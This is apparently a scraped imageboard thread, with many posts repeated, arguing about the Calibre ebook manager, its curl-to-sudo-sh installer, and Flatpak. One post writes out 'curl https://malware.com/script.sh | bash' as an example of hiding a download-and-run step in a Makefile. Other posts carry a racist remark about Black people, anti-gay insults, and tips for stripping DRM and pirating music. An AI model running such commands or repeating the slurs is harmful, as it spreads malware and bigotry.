Well there's reading for a start. Calibre has an ebook reader built in. It's a bit shit but it's better than whatever your OS vendor ships.
Some people have pretty large libraries. At some point you'll want to have decent metadata (title, authors, identifiers, cover, etc.). Calibre lets you edit metadata or look it up online.
There's format conversion. The world's most popular ereader doesn't support the world's most popular ebook format. Calibre lets you just plug it in and upload books to it.
Calibre has a built-in server, so you can keep it running on your machine and download stuff from your library on an ereader or an iPad or something.
In case you ever made the mistake of giving a book publisher money for their product, there's a third-party plugin for Calibre that lets you strip DRM from books.
Some ebooks are fricked. ePub is a very simple format and it's hard to frick up the CSS, but some publishers have a real gift for it. Calibre lets you edit ebooks to fix this sort of thing.
I've never used that part of it, but Calibre is an RSS reader as well. It can download news stories and upload them to your ereader.
And I'm sure it does a lot more stuff, and for every feature there's someone who will want it.
2 years ago
Anonymous
That sounds like a lot of bloat, anon
2 years ago
Anonymous
There's nothing wrong with bloat. You have to live it. Also, I don't want to hear that from a Spotify user.
>distro so good that you can't host servers on it without docker >can't install programs on it without flatpak
lol, lmao even, install gentoo you colossal homosexual
>flatpak install flathub tv.plex.PlexHTPC >flatpak run tv.plex.PlexHTPC >doesnt work >flatpak install flathub com.github.tchx84.Flatseal >enable wayland access for plex >finally working >change default subtitles font to Arial >doesnt work, because memepak has no access to system fonts >have to manually add font dirs for it to work
literally worse than snap
it wont work anyway until you fix permissions. i also need it to run on startup, because its on my home server and I have no keyboard nor mouse connected, only simple remote
now check your disk space and find out it downloaded over 10GB of garbage so you could run a mini-distro in a container to run said app. And while flathub has a nice website, Linux devs still couldn't manage to make a working software center that doesn't crash with mysterious errors on every 2nd app install.
Literally just post a link to BTFO me forever.
If you don't have a link, think real hard about what that means.
2 years ago
Anonymous
https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-bash-server-side/
there you go >b-b-b-b-ut this is not what I asked
oh yes, it is what you asked, keep looking at the script in your browser and be perplexed that it contains nothing malicious after it raped your machine, homosexual
2 years ago
Anonymous
That's a proof of concept, not an incident.
One link to a time someone got owned by this, that's all I'm asking for. People really are doing this, not just speculating about it, right? It's not just a scary boogeyman?
It doesn't have to be a fancy schmancy delay-based script. I'll accept a really dumb straightforward case like the Linux Mint ISO hack. (It's just that that one didn't involve an install script.)
>you must have... Python >= 2.6 installed
Can't wait for the dev to have to also install Python with his curl script once more distros start finally dropping it.
gold fits the brown skin tbh, notice how all the Black folk in American media started wearing gold, yellow, orange clothes. Learning from their Aryan brothers.
What is ebook management? What else do you need apart from reading an ebook?
Editing metadata is mostly what i do with it, it's a pretty nice program
What is music management? What else do you need apart from ffplay "10 Hour Penis Music Compilation.mp3"?
I use spotify and have 3 playlists. Does ebook management entail have cloud backup and a reading list or something like that?
Well there's reading for a start. Calibre has an ebook reader built in. It's a bit shit but it's better than whatever your OS vendor ships.
Some people have pretty large libraries. At some point you'll want to have decent metadata (title, authors, identifiers, cover, etc.). Calibre lets you edit metadata or look it up online.
There's format conversion. The world's most popular ereader doesn't support the world's most popular ebook format. Calibre lets you just plug it in and upload books to it.
Calibre has a built-in server, so you can keep it running on your machine and download stuff from your library on an ereader or an iPad or something.
In case you ever made the mistake of giving a book publisher money for their product, there's a third-party plugin for Calibre that lets you strip DRM from books.
Some ebooks are fricked. ePub is a very simple format and it's hard to frick up the CSS, but some publishers have a real gift for it. Calibre lets you edit ebooks to fix this sort of thing.
I've never used that part of it, but Calibre is an RSS reader as well. It can download news stories and upload them to your ereader.
And I'm sure it does a lot more stuff, and for every feature there's someone who will want it.
That sounds like a lot of bloat, anon
There's nothing wrong with bloat. You have to live it. Also, I don't want to hear that from a Spotify user.
>I use spotify
my condolences
You got a better alternative?
Deezer. Plus deemix-gui to pirate flacs directly from their servers. Frick Spotify.
Can't pay cash to renew deezer. Spotify has physical giftcards.
It lets you convert from any ebook format to any other ebook format. It also lets you update the metadata and cover image using online sources.
Probably the last time it was updated Flatpaks weren't even popular.
It's useful for converting ebooks to other formats.
it can also send ebook from your computer to kindle, never bought a single book since i got it a couple years ago
>flatpak
A thread died so you could offhand shill that shit? Install Gentoo you homosexual.
Gentoo supports Flatpak.
>distro so good that you can't host servers on it without docker
>can't install programs on it without flatpak
lol, lmao even, install gentoo you colossal homosexual
>flatpak install flathub tv.plex.PlexHTPC
>flatpak run tv.plex.PlexHTPC
>doesnt work
>flatpak install flathub com.github.tchx84.Flatseal
>enable wayland access for plex
>finally working
>change default subtitles font to Arial
>doesnt work, because memepak has no access to system fonts
>have to manually add font dirs for it to work
literally worse than snap
run tv.plex.PlexHTPC
Why would you do that when you can just run it from the app drawer?
it wont work anyway until you fix permissions. i also need it to run on startup, because its on my home server and I have no keyboard nor mouse connected, only simple remote
>use a real distro
>any package you install just works
>doesn't even have flatpak in the repos
now check your disk space and find out it downloaded over 10GB of garbage so you could run a mini-distro in a container to run said app. And while flathub has a nice website, Linux devs still couldn't manage to make a working software center that doesn't crash with mysterious errors on every 2nd app install.
The future of Linux desktop btw.
>piping random download to sudo sh
>no verification or signatures
this is how people get malware, ransomware in their machine
the website cert is the verification :^)
Name one incident
I'm genuinely curious, people always say this but only ever as a theoretical possibility
better prove that it didn't already happen for a brief moment so that noone could track where their malware came from
Only theoretical, got it
homosexual.
Literally just post a link to BTFO me forever.
If you don't have a link, think real hard about what that means.
https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-bash-server-side/
there you go
>b-b-b-b-ut this is not what I asked
oh yes, it is what you asked, keep looking at the script in your browser and be perplexed that it contains nothing malicious after it raped your machine, homosexual
That's a proof of concept, not an incident.
One link to a time someone got owned by this, that's all I'm asking for. People really are doing this, not just speculating about it, right? It's not just a scary boogeyman?
It doesn't have to be a fancy schmancy delay-based script. I'll accept a really dumb straightforward case like the Linux Mint ISO hack. (It's just that that one didn't involve an install script.)
>proof of concept
I done this before
source: me
This.
I don't see why people make such a big deal out of this.
It's just as easy to put "curl https://malware.com/script.sh | bash" inside a Makefile
Up until that point I didn't even know Linux could do that, shit jest wergs. Are there any more distro-agnostic binary installers out there?
gcc
>sudo pacman -S calibre
Why does flatpak even need to exist?
because flatpak users are stockholm syndrome GNU+Windows victims
>you must have... Python >= 2.6 installed
Can't wait for the dev to have to also install Python with his curl script once more distros start finally dropping it.
Calibre works with python3
>5.0.1 2020-09-25
I'm pretty out of the loop, but neat. Last I heard he was prepared to die on that hill. Glad that was able to happen.
>c'mon man, just give me 3.8GB of your hard driver per app
The dev
>gold shirt
gold fits the brown skin tbh, notice how all the Black folk in American media started wearing gold, yellow, orange clothes. Learning from their Aryan brothers.
>uses gentoo
>does the sneedful
He's /ourguy/
bruh
no one even uses flatpack, are you so stupid that you can't run that bash command? holy frick flatpackhomosexuals are moronic
sudo apt install calibre
wow so hard
>can't read
OP is commenting on the fact their website specifically tells you not to do that and how moronic a recommendation it is
> wget | sudo sh
Ohnononono
Also isn't the /dev/stdin redundant?
>be Windows user
>click Win64
>it works
hmm, I thought Linux was supposed to be better?
>be Linux user
>click install
>it just works
hmm, I thought Windows was supposed to be better?